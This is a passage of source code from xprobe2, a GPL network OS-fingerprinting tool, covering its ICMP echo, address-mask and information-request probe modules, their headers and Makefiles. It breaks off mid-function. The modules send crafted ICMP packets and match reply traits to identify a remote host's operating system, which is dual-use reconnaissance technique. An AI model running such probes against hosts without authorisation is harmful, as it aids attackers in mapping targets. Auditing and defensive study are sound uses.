Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef TEST_MOD_H #define TEST_MOD_H #include "xprobe.h" #include "xprobe_module.h" class Test_Mod: public Xprobe_Module { private: public: Test_Mod(void) : Xprobe_Module(XPROBE_MODULE_ALIVETEST, "ICMP ECHO") { return; } ~Test_Mod(void) { return; } int init(void); int parse_keyword(int, char *, char *); int exec(Target *, OS_Matrix *); int fini(void); }; #endif /* TEST_MOD_H */ xprobe2-0.3/src/xpmodules/os_probe000755 001751 000000 00000000000 10271644025 017524 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/os_probe/icmp_addrmask000755 001751 000000 00000000000 10271644025 022322 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/os_probe/icmp_addrmask/icmp_addrmask.cc000644 001751 000000 00000016047 10271643770 025524 0ustar00mederwheel000000 000000 /* $Id: icmp_addrmask.cc,v 1.14 2005/06/26 11:26:12 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "usi++/usi++.h" #include #include #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "interface.h" #include "target.h" #include "icmp_addrmask.h" extern Interface *ui; /* initialization function */ int icmp_addrmask_mod_init(Xprobe_Module_Hdlr *pt, char *nm) { ICMP_Addrmask_Mod *module = new ICMP_Addrmask_Mod; module->set_name(nm); xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the ICMP Addrmask module\n"); pt->register_module(module); pt->add_keyword(module->get_id(),"icmp_addrmask_reply"); pt->add_keyword(module->get_id(),"icmp_addrmask_reply_ttl"); pt->add_keyword(module->get_id(), "icmp_addrmask_reply_ip_id"); return OK; } ICMP_Addrmask_Mod::ICMP_Addrmask_Mod(void): Xprobe_Module(XPROBE_MODULE_OSTEST, "fingerprint:icmp_amask","ICMP Address mask request fingerprinting module") { ICMP_Addrmask_Reply_Check *repchk = new ICMP_Addrmask_Reply_Check; ICMP_Addrmask_Ip_Id_Check *ipidchk = new ICMP_Addrmask_Ip_Id_Check; ICMP_Addrmask_Ttl_Check *ttlchk = new ICMP_Addrmask_Ttl_Check; kwd_chk.insert(pair("icmp_addrmask_reply", repchk)); kwd_chk.insert(pair("icmp_addrmask_reply_ttl", ttlchk)); kwd_chk.insert(pair("icmp_addrmask_reply_ip_id", ipidchk)); } ICMP_Addrmask_Mod::~ICMP_Addrmask_Mod(void) { for (s_i = kwd_chk.begin(); s_i != kwd_chk.end(); s_i++) delete s_i->second; } int ICMP_Addrmask_Mod::init(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module initialized\n", get_name()); return OK; } int ICMP_Addrmask_Mod::exec(Target *tg, OS_Matrix *os) { xprobe_debug(XPROBE_DEBUG_MODULES, "--%s module has been executed against: %s\n", get_name(), inet_ntoa(tg->get_addr())); current_os = os; do_icmp_query(tg); return OK; } int ICMP_Addrmask_Mod::fini(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } int ICMP_Addrmask_Mod::parse_keyword(int os_id, const char *kwd, const char *val) { if ((s_i = kwd_chk.find(kwd)) != kwd_chk.end()) { return s_i->second->parse_param(os_id, val); } ui->msg ("No keywords matched(%s=%s)!", kwd, val); return FAIL; } int ICMP_Addrmask_Mod::do_icmp_query(Target *tg) { char buf[1024]; struct timeval tv; int ret; int done; unsigned short int icmpp_id; struct in_addr local, remote; /* our lamyer randomizer ;-p */ srand(time(NULL)); icmpp_id = rand(); local = tg->get_interface_addr(); remote = tg->get_addr(); ICMP icmpp(inet_ntoa(remote)); ICMP sn(inet_ntoa(local)); sn.init_device(tg->get_interface(), 0, 1500); tv = tg->get_rtt(); icmpp.set_src(inet_ntoa(tg->get_interface_addr())); icmpp.set_icmpId(icmpp_id); icmpp.set_type(ICMP_ADDRESS); fflush(stderr); ret = -1; icmpp.timeout(tv); sn.timeout(tv); xprobe_mdebug(XPROBE_DEBUG_MODULES, "Sending ICMP message\n"); ret = icmpp.send_addrmask_payload(); done = 0; xprobe_mdebug(XPROBE_DEBUG_MODULES, "Receiving ICMP response\n"); while (!done) { ret = sn.sniffpack(buf, sizeof(buf)); xprobe_debug(XPROBE_DEBUG_MODULES, "Received %i bytes\n", ret); /* packet response */ // if (ret > 0 && sn.get_src() != local.s_addr if (!sn.timeout() && sn.get_src() == remote.s_addr && sn.get_type() == ICMP_ADDRESSREPLY && sn.get_icmpId() == icmpp_id) { done = 1; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Received reply.\n", get_name()); } // if (ret < 1) done = 1; /* timeout */ if (sn.timeout()) { done = 1; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Timed out, no reply received.\n", get_name()); } } xprobe_mdebug(XPROBE_DEBUG_MODULES, "Got good ICMP response\n"); for (s_i = kwd_chk.begin(); s_i != kwd_chk.end(); s_i++) s_i->second->check_param(&sn, &icmpp, current_os); if (tg->generate_sig()) generate_signature(tg, &sn, &icmpp); return OK; } void ICMP_Addrmask_Mod::generate_signature(Target *tg, ICMP *pack, ICMP *orig) { string keyword, value; unsigned int ttl; /* # icmp_addrmask_reply = [ y, n] # icmp_addrmask_reply_ttl = [>< decimal num] # icmp_addrmask_reply_ip_id = [0, !0, SENT] */ if (!pack->timeout()) { keyword = "icmp_addrmask_reply"; value = "y"; tg->signature(keyword, value); keyword="icmp_addrmask_reply_ttl"; ttl = pack->get_ttl() + tg->get_distance(); /* following checkpoint values are used for ICMP: * 32, 64, 128, 255 */ value = "<"; if (ttl <= 32) value.append("32"); else if (ttl <= 60) value.append("60"); else if (ttl <= 64) value.append("64"); else if (ttl <= 128) value.append("128"); else if (ttl <= 255) value.append("255"); tg->signature(keyword, value); keyword = "icmp_addrmask_reply_ip_id"; if (pack->get_id() == 0) value = "0"; else if (pack->get_id() == orig->get_id()) value = "SENT"; else value = "!0"; tg->signature(keyword, value); } else { tg->signature("icmp_addrmask_reply", "n"); tg->signature("icmp_addrmask_reply_ttl", "<255"); tg->signature("icmp_addrmask_reply_ip_id", "!0"); } } int ICMP_Addrmask_Reply_Check::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { int gotp=ip_pkt->timeout() ? 0 : 1; // suspend warning orig_pkt->timeout(); add_param(gotp, 0, os); if (!gotp) { /* no reply recieved so * now we need to generate 2 matches (2 keywords * that depend on reply) * so that we are able to get 100% even * if no reply was received * NOTE: need to make module count * depending keywords automatically */ gen_match(2, os); } return OK; } int ICMP_Addrmask_Ip_Id_Check::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { if(!ip_pkt->timeout()) // we have received reply return add_param(ip_pkt->get_id(), orig_pkt->get_id(), os); return OK; } int ICMP_Addrmask_Ttl_Check::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { if (!ip_pkt->timeout()) // we have received reply return add_param(ip_pkt->get_ttl(), orig_pkt->get_ttl(), os); return OK; } xprobe2-0.3/src/xpmodules/os_probe/icmp_addrmask/icmp_addrmask.h000755 001751 000000 00000004751 10271643770 025370 0ustar00mederwheel000000 000000 /* $Id: icmp_addrmask.h,v 1.8 2004/06/09 12:08:25 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef ICMP_ADDRMASK_H #define ICMP_ADDRMASK_H #include "xprobe.h" #include "xprobe_module.h" #include "xprobe_module_param.h" typedef struct ttl_val { int high; int low; } ttl_val_s; class ICMP_Addrmask_Mod: public Xprobe_Module { private: OS_Matrix *current_os; map kwd_chk; map ::iterator s_i; int do_icmp_query(Target *); void generate_signature(Target *, ICMP *, ICMP *); public: ICMP_Addrmask_Mod(void); ~ICMP_Addrmask_Mod(void); int init(void); int parse_keyword(int, const char *, const char *); int exec(Target *, OS_Matrix *); int fini(void); }; class ICMP_Addrmask_Ip_Id_Check:public Xprobe_Module_Param_ICMP { public: ICMP_Addrmask_Ip_Id_Check(void):Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_ZNZORIG){ return; } //~ICMP_Addrmask_Ip_Id_Check(void) { return; }; int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; class ICMP_Addrmask_Ttl_Check:public Xprobe_Module_Param_ICMP { public: ICMP_Addrmask_Ttl_Check(void):Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_RANGE) { return; } //~ICMP_Addrmask_Ttl_Check(void) { return; } int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; class ICMP_Addrmask_Reply_Check:public Xprobe_Module_Param_ICMP { public: ICMP_Addrmask_Reply_Check(void):Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_BOOL) { return; } //~ICMP_Addrmask_Reply_Check(void) { return; } int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; #endif /* ICMP_ADDRMASK_H */ xprobe2-0.3/src/xpmodules/os_probe/icmp_addrmask/Makefile.in000755 001751 000000 00000003036 10271643770 024461 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.1 2002/08/08 11:41:42 fygrave Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CFLAGS=@CFLAGS@ @CPPFLAGS@ -I../ -I../../ -I ../../../ -I../../../xplib -I ../../../../libs-external/USI++ LDFLAGS=@LDFLAGS@ -L../../xplib SOLDFLAGS=@SOLDFLAGS@ LIBS=@LIBS@ -lxplib DYNFLAGS=@DYNFLAGS@ XPLIB=../../xplib/libxplib.a INCLUDES= RANLIB=@RANLIB@ all: icmp_addrmask.o icmp_echo_id.o: icmp_addrmask.cc ${CXX} ${CFLAGS} -c icmp_addrmask.cc .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< .cc.o: $(INCLUDES) $(CXX) -c $(CFLAGS) $< clean: rm -f core *.o *.so distclean: clean rm -f Makefile xprobe2-0.3/src/xpmodules/os_probe/icmp_echo_id000755 001751 000000 00000000000 10271644025 022126 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/os_probe/icmp_echo_id/icmp_echo_id.cc000644 001751 000000 00000023054 10271643770 025130 0ustar00mederwheel000000 000000 /* $Id: icmp_echo_id.cc,v 1.16 2005/06/26 11:26:12 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "usi++/usi++.h" #include #include #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module.h" #include "xprobe_module_param.h" #include "xprobe_module_hdlr.h" #include "interface.h" #include "target.h" #include "icmp_echo_id.h" extern Interface *ui; /* initialization function */ int icmp_echo_id_mod_init(Xprobe_Module_Hdlr *pt, char *nm) { ICMP_Echo_Id_Mod *module = new ICMP_Echo_Id_Mod; module->set_name(nm); xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the ICMP ECHO ID module\n"); pt->register_module(module); pt->add_keyword(module->get_id(),"icmp_echo_reply"); pt->add_keyword(module->get_id(),"icmp_echo_code"); pt->add_keyword(module->get_id(),"icmp_echo_ip_id"); pt->add_keyword(module->get_id(),"icmp_echo_tos_bits"); pt->add_keyword(module->get_id(),"icmp_echo_df_bit"); pt->add_keyword(module->get_id(),"icmp_echo_reply_ttl"); return OK; } ICMP_Echo_Id_Mod::ICMP_Echo_Id_Mod(void): Xprobe_Module(XPROBE_MODULE_OSTEST, "fingerprint:icmp_echo","ICMP Echo request fingerprinting module") { ICMP_Echo_Code_Chk *iecc = new ICMP_Echo_Code_Chk; ICMP_Echo_Id_Chk *ieic = new ICMP_Echo_Id_Chk; ICMP_Echo_Tos_Chk *ietc = new ICMP_Echo_Tos_Chk; ICMP_Echo_Df_Bit_Chk *iedbc = new ICMP_Echo_Df_Bit_Chk; ICMP_Echo_Reply_Ttl_Chk *iertc = new ICMP_Echo_Reply_Ttl_Chk; ICMP_Echo_Reply_Check *ierc= new ICMP_Echo_Reply_Check; kwd_chk.insert(pair("icmp_echo_reply", ierc)); kwd_chk.insert(pair("icmp_echo_code", iecc)); kwd_chk.insert(pair("icmp_echo_ip_id", ieic)); kwd_chk.insert(pair("icmp_echo_tos_bits", ietc)); kwd_chk.insert(pair("icmp_echo_df_bit", iedbc)); kwd_chk.insert(pair("icmp_echo_reply_ttl", iertc)); return; } ICMP_Echo_Id_Mod::~ICMP_Echo_Id_Mod(void) { map ::iterator s_i; /* free check objects */ for (s_i = kwd_chk.begin(); s_i != kwd_chk.end(); s_i++) delete (*s_i).second; } int ICMP_Echo_Id_Mod::init(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module initialized\n", get_name()); return OK; } int ICMP_Echo_Id_Mod::exec(Target *tg, OS_Matrix *os) { int ret; xprobe_debug(XPROBE_DEBUG_MODULES, "--%s module has been executed against: %s\n", get_name(), inet_ntoa(tg->get_addr())); current_os = os; ret = do_icmp_ping(tg); if (!ret) return FAIL; return OK; } int ICMP_Echo_Id_Mod::fini(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } void ICMP_Echo_Id_Mod::sig_insert(int os_id, int val) { if (sig.find(os_id) != sig.end()) { ui->msg("OS %i - duplicate signature\n", os_id); return; } sig.insert(pair (os_id, val)); } void ICMP_Echo_Id_Mod::sig_ttl_insert(int os_id, int val) { if (sig_ttl.find(os_id) != sig_ttl.end()) { ui->msg("OS %i - dublicate signature\n", os_id); return; } sig_ttl.insert(pair (os_id, val)); } int ICMP_Echo_Id_Mod::parse_keyword(int os_id, const char *kwd, const char *val) { map ::iterator s_i; xprobe_debug(XPROBE_DEBUG_SIGNATURES, "Parsing for %i : %s = %s\n", os_id, kwd, val); if ((s_i=kwd_chk.find(kwd)) != kwd_chk.end()) { return((*s_i).second->parse_param(os_id, val)); } ui->msg("Ooops..none matched %s %s\n", kwd, val); return FAIL; }; int ICMP_Echo_Id_Mod::do_icmp_ping(Target *tg) { char buf[1024]; struct timeval tv; int ret; int done; unsigned short int icmpp_id; struct in_addr local, remote; map ::iterator s_i; /* our lamyer randomizer ;-p */ srand(time(NULL)); icmpp_id = rand(); local = tg->get_interface_addr(); remote = tg->get_addr(); ICMP icmpp(inet_ntoa(remote)); ICMP sn(inet_ntoa(local)); sn.init_device(tg->get_interface(), 0, 1500); tv = tg->get_rtt(); icmpp.set_src(inet_ntoa(tg->get_interface_addr())); // set ip id now, instead of letting os do that // since we need get_id() to return sent ip id icmpp.set_id(rand()); icmpp.set_seq(256); icmpp.set_icmpId(icmpp_id); icmpp.set_type(ICMP_ECHO); icmpp.set_code(123); /* our test with non-0 icmp code */ icmpp.set_tos(6); icmpp.set_fragoff(IP_DF); fflush(stderr); ret = -1; icmpp.timeout(tv); sn.timeout(tv); ret = icmpp.send_ping_payload(); done = 0; while (!done) { ret = sn.sniffpack(buf, sizeof(buf)); /* packet response */ // if (ret > 0 && sn.get_src() != local.s_addr if (!sn.timeout() && sn.get_src() == remote.s_addr && sn.get_type() == ICMP_ECHOREPLY && sn.get_icmpId() == icmpp_id) { done = 1; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Received reply.\n", get_name()); } // if (ret < 1) done = 1; /* timeout */ if (sn.timeout()) { done = 1; /* timeout */ xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Timed out, no reply received.\n", get_name()); } } if (! sn.timeout()) { for (s_i = kwd_chk.begin(); s_i != kwd_chk.end(); s_i++) ((*s_i).second->check_param(&sn, &icmpp, current_os)); if (tg->generate_sig()) generate_signature(tg, &sn, &icmpp); return OK; } return FAIL; } void ICMP_Echo_Id_Mod::generate_signature(Target *tg, ICMP *pack, ICMP *orig) { string keyword, value; unsigned int ttl; /* # icmp_echo_code = [0, !0] # icmp_echo_ip_id = [0, !0, SENT] # icmp_echo_tos_bits = [0, !0] # icmp_echo_df_bit = [0, 1] # icmp_echo_reply_ttl = [>< decimal num] */ if (!pack->timeout()) { tg->signature("icmp_echo_reply", "y"); keyword = "icmp_echo_code"; if (pack->get_code() == 0) value="0"; else value="!0"; tg->signature(keyword, value); keyword= "icmp_echo_ip_id"; if (pack->get_id() == 0) value = "0"; else if (pack->get_id() == orig->get_id()) value = "SENT"; else value = "!0"; tg->signature(keyword, value); keyword= "icmp_echo_tos_bits"; if (pack->get_tos() == 0) value="0"; else value="!0"; tg->signature(keyword, value); keyword = "icmp_echo_df_bit"; if (pack->get_fragoff() & IP_DF) value = "1"; else value ="0"; tg->signature(keyword, value); keyword = "icmp_echo_reply_ttl"; ttl = pack->get_ttl() + tg->get_distance(); value = "<"; if (ttl <= 32) value.append("32"); else if (ttl <= 60) value.append("60"); else if (ttl <= 64) value.append("64"); else if (ttl <= 128) value.append("128"); else if (ttl <= 255) value.append("255"); tg->signature(keyword, value); } else { tg->signature("# No ICMP Echo reply received", ""); tg->signature("icmp_echo_reply", "n"); tg->signature("icmp_echo_code", ""); tg->signature("icmp_echo_ip_id", ""); tg->signature("icmp_echo_tos_bits",""); tg->signature("icmp_echo_df_bit", ""); tg->signature("icmp_echo_reply_ttl", ""); } } int ICMP_Echo_Code_Chk::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { xprobe_debug(XPROBE_DEBUG_MODULES, "ICMP ECHO code %i\n", ip_pkt->get_code()); return (add_param(ip_pkt->get_code(),orig_pkt->get_code(), os)); } int ICMP_Echo_Id_Chk::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { xprobe_debug(XPROBE_DEBUG_MODULES, "ICMP ip id %i\n", ip_pkt->get_id()); return (add_param(ip_pkt->get_id(), orig_pkt->get_id(), os)); } int ICMP_Echo_Tos_Chk::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { xprobe_debug(XPROBE_DEBUG_MODULES, "ICMP ip tos 0x%x\n", ip_pkt->get_tos()); return (add_param(ip_pkt->get_tos(), orig_pkt->get_tos(), os)); } int ICMP_Echo_Df_Bit_Chk::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { xprobe_debug(XPROBE_DEBUG_MODULES, "ICMP ip df %i\n", (ip_pkt->get_fragoff() & IP_DF) !=0?1:0); return (add_param(((ip_pkt->get_fragoff() & IP_DF) != 0), ((orig_pkt->get_fragoff() & IP_DF) != 0), os)); } int ICMP_Echo_Reply_Ttl_Chk::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { xprobe_debug(XPROBE_DEBUG_MODULES, "ICMP ip ttl %i", ip_pkt->get_ttl()); return (add_param(ip_pkt->get_ttl(), orig_pkt->get_ttl(), os)); } int ICMP_Echo_Reply_Check::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { int gotp=ip_pkt->timeout() ? 0 : 1; // suspend warning orig_pkt->timeout(); add_param(gotp, 0, os); if (!gotp) { gen_match(5, os); } return OK; } xprobe2-0.3/src/xpmodules/os_probe/icmp_echo_id/icmp_echo_id.h000644 001751 000000 00000006552 10271643770 024776 0ustar00mederwheel000000 000000 /* $Id: icmp_echo_id.h,v 1.8 2005/02/08 20:00:54 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef ICMP_ECHO_ID_H #define ICMP_ECHO_ID_H #include "xprobe.h" #include "xprobe_module.h" #include "xprobe_module_param.h" typedef struct ttl_val { int high; int low; } ttl_val_s; class ICMP_Echo_Id_Mod: public Xprobe_Module { private: OS_Matrix *current_os; map sig; map sig_ttl; map kwd_chk; int do_icmp_ping(Target *); void sig_insert(int, int); void sig_ttl_insert(int, int); void do_code_check(int); void do_ttl_check(int); void generate_signature(Target *, ICMP *, ICMP *); public: ICMP_Echo_Id_Mod(void); ~ICMP_Echo_Id_Mod(void); int init(void); int parse_keyword(int, const char *, const char *); int exec(Target *, OS_Matrix *); int fini(void); }; class ICMP_Echo_Code_Chk:public Xprobe_Module_Param_ICMP { public: ICMP_Echo_Code_Chk(void):Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_ZNZ) {return; } //~ICMP_Echo_Code_Chk(void) {return; } int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; class ICMP_Echo_Id_Chk:public Xprobe_Module_Param_ICMP { public: ICMP_Echo_Id_Chk(void):Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_ZNZORIG) {return; } //~ICMP_Echo_Id_Chk(void) {return; } int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; class ICMP_Echo_Tos_Chk:public Xprobe_Module_Param_ICMP { public: ICMP_Echo_Tos_Chk(void):Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_ZNZ){return; } //~ICMP_Echo_Tos_Chk(void) {return; } int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; class ICMP_Echo_Df_Bit_Chk:public Xprobe_Module_Param_ICMP { public: ICMP_Echo_Df_Bit_Chk(void):Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_INT) {return; } //~ICMP_Echo_Df_Bit_Chk(void) {return; } int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; class ICMP_Echo_Reply_Ttl_Chk:public Xprobe_Module_Param_ICMP { public: ICMP_Echo_Reply_Ttl_Chk(void) :Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_RANGE) {return; } //~ICMP_Echo_Reply_Ttl_Chk(void) {return; } int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; class ICMP_Echo_Reply_Check: public Xprobe_Module_Param_ICMP { public: ICMP_Echo_Reply_Check(void):Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_BOOL) { return; } int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; #endif /* ICMP_ECHO_ID_H */ xprobe2-0.3/src/xpmodules/os_probe/icmp_echo_id/Makefile.in000755 001751 000000 00000003033 10271643770 024262 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.1 2002/08/08 11:41:42 fygrave Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CFLAGS=@CFLAGS@ @CPPFLAGS@ -I../ -I../../ -I ../../../ -I../../../xplib -I ../../../../libs-external/USI++ LDFLAGS=@LDFLAGS@ -L../../xplib SOLDFLAGS=@SOLDFLAGS@ LIBS=@LIBS@ -lxplib DYNFLAGS=@DYNFLAGS@ XPLIB=../../xplib/libxplib.a INCLUDES= RANLIB=@RANLIB@ all: icmp_echo_id.o icmp_echo_id.o: icmp_echo_id.cc ${CXX} ${CFLAGS} -c icmp_echo_id.cc .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< .cc.o: $(INCLUDES) $(CXX) -c $(CFLAGS) $< clean: rm -f core *.o *.so distclean: clean rm -f Makefile xprobe2-0.3/src/xpmodules/os_probe/icmp_inforeq000755 001751 000000 00000000000 10271644025 022177 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/os_probe/icmp_inforeq/icmp_inforeq.cc000644 001751 000000 00000014765 10271643770 025263 0ustar00mederwheel000000 000000 /* $Id: icmp_inforeq.cc,v 1.14 2005/06/26 11:26:13 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "usi++/usi++.h" #include #include #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "interface.h" #include "target.h" #include "icmp_inforeq.h" extern Interface *ui; /* initialization function */ int icmp_inforeq_mod_init(Xprobe_Module_Hdlr *pt, char *nm) { ICMP_Inforeq_Mod *module = new ICMP_Inforeq_Mod; module->set_name(nm); xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the ICMP Inforeq module\n"); pt->register_module(module); pt->add_keyword(module->get_id(),"icmp_info_reply"); pt->add_keyword(module->get_id(),"icmp_info_reply_ttl"); pt->add_keyword(module->get_id(), "icmp_info_reply_ip_id"); return OK; } ICMP_Inforeq_Mod::ICMP_Inforeq_Mod(void):Xprobe_Module(XPROBE_MODULE_OSTEST, "fingerprint:icmp_info","ICMP Information request fingerprinting module") { ICMP_Inforeq_Reply_Check *inforep = new ICMP_Inforeq_Reply_Check; ICMP_Inforeq_Ip_Id_Check *infoid = new ICMP_Inforeq_Ip_Id_Check; ICMP_Inforeq_Ttl_Check *infottl = new ICMP_Inforeq_Ttl_Check; kwd_chk.insert(pair("icmp_info_reply",inforep)); kwd_chk.insert(pair("icmp_info_reply_ttl",infottl)); kwd_chk.insert(pair("icmp_info_reply_ip_id",infoid)); } ICMP_Inforeq_Mod::~ICMP_Inforeq_Mod(void) { // free allocated classes for (s_i=kwd_chk.begin(); s_i != kwd_chk.end(); s_i++) delete s_i->second; } int ICMP_Inforeq_Mod::init(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module initialized\n", get_name()); return OK; } int ICMP_Inforeq_Mod::exec(Target *tg, OS_Matrix *os) { xprobe_debug(XPROBE_DEBUG_MODULES, "--%s 